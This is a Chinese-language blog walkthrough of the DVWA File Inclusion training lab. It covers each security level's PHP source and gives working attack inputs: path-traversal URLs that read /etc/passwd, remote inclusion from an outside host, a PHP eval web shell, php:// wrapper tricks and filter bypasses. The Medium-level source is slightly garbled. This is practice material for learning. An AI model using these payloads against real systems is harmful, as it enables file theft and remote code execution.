zoukankan      html  css  js  c++  java
  • 【DVWA】File Inclusion(文件包含漏洞)通关教程


    日期:2019-07-28 20:58:29
    更新:
    作者:Bay0net
    介绍:


    0x01、 漏洞介绍

    文件包含时,不管包含的文件是什么类型,都会优先尝试当作 php 文件执行。

    如果文件内容有 php 代码,则会执行 php 代码并返回代码执行的结果。

    如果文件内容没有 php 代码,则把文件内容打印出来。

    0x02、Low Security Level

    查看源码

    <?php
    // The page we wish to display
    $file = $_GET[ 'page' ];
    ?> 
    

    服务器获取 page 的值,没有进行任何过滤。

    文件包含

    # 原 URL
    http://127.0.0.1:81/vulnerabilities/fi/?page=file1.php
    
    # 本地文件包含,读文件(绝对路径 或 相对路径)
    http://127.0.0.1:81/vulnerabilities/fi/?page=/etc/passwd
    http://127.0.0.1:81/vulnerabilities/fi/?page=../../../../../etc/passwd
    
    # 远程文件包含
    http://127.0.0.1:81/vulnerabilities/fi/?page=http://www.baidu.com
    

    获取 shell

    本地文件包含一句话木马,木马所在文件为 /tmp/1.txt,内容如下

    <?php @eval($_POST["gg"]); ?>
    

    伪协议读文件

    0x01 所述,所有的 php 文件都会当成代码来执行,所以无法读取源码,如果 flagphp 文件中,那么我们就需要想办法来读取 flag

    # 直接读取,PHP 代码直接执行
    http://127.0.0.1:81/vulnerabilities/fi/?page=file1.php
    
    # 利用伪协议读取源码
    http://127.0.0.1:81/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php
    

    复制出来第一行,然后直接 base64 解码即可。

    伪协议 执行命令

    利用的是 php://input 伪协议。

    URL: http://127.0.0.1:81/vulnerabilities/fi/?page=php://input
    POST:<?php phpinfo(); ?>
    

    0x03、Medium Security Level

    查看源码

    <?php
    
    // The page we wish to display
    $file = $_GET[ 'page' ];
    
    // Input validation
    $file = ( array( "http://", "https://" ), "", $file );
    $file = str_replace( array( "../", ".."" ), "", $file );
    
    ?> 
    

    过滤了一些东西,array 里面的就是。

    绕过方法

    1、使用绝对路径绕过。

    2、使用的是 str_replace() 函数,可以使用重写的方式绕过

    htthttp://p:// -> http://
    ..././      -> ../
    

    0x04、High Security Level

    查看源码

    <?php
    
    // The page we wish to display
    $file = $_GET[ 'page' ];
    
    // Input validation
    if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
        // This isn't the page we want!
        echo "ERROR: File not found!";
        exit;
    }
    
    ?> 
    

    满足以下两个条件,则报错:

    1. 传过来的 page 里面没有 file*
    2. $file 不等于 include.php

    绕过方法

    1、使用伪协议绕过。

    http://127.0.0.1:81/vulnerabilities/fi/?page=file:///etc/passwd
    

    2、URL 包含关键字

    # 此种方式无法绕过这个题,如果是 *file* 就能绕过了。。
    http://vps.ip:9090/file.html
    

    0x05、Impossible Security Level

    查看源码

    <?php
    
    // The page we wish to display
    $file = $_GET[ 'page' ];
    
    // Only allow include.php or file{1..3}.php
    if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
        // This isn't the page we want!
        echo "ERROR: File not found!";
        exit;
    }
    
    ?> 
    

    写死了文件名,无解。。。

    0x06、Reference

    PHP fnmatch() 函数 | 菜鸟教程

    PHP str_replace() 函数

    DVWA-文件包含学习笔记 - 雨中落叶 - 博客园

  • 相关阅读:
    gdb调试
    大数据计算新贵Spark在腾讯雅虎优酷成功应用解析
    推荐系统resys小组线下活动见闻2009-08-22
    从item-base到svd再到rbm,多种Collaborative Filtering(协同过滤算法)从原理到实现
    Nexus设备升级5.0方法
    小议C#错误调试和异常处理
    BMP的图像处理
    一行代码让圆角风雨无阻,告别离屏渲染性能损耗
    推断数组中的反复元素
    HTML5:表格
  • 原文地址:https://www.cnblogs.com/v1vvwv/p/DVWA-File-Inclusion.html
Copyright © 2011-2022 走看看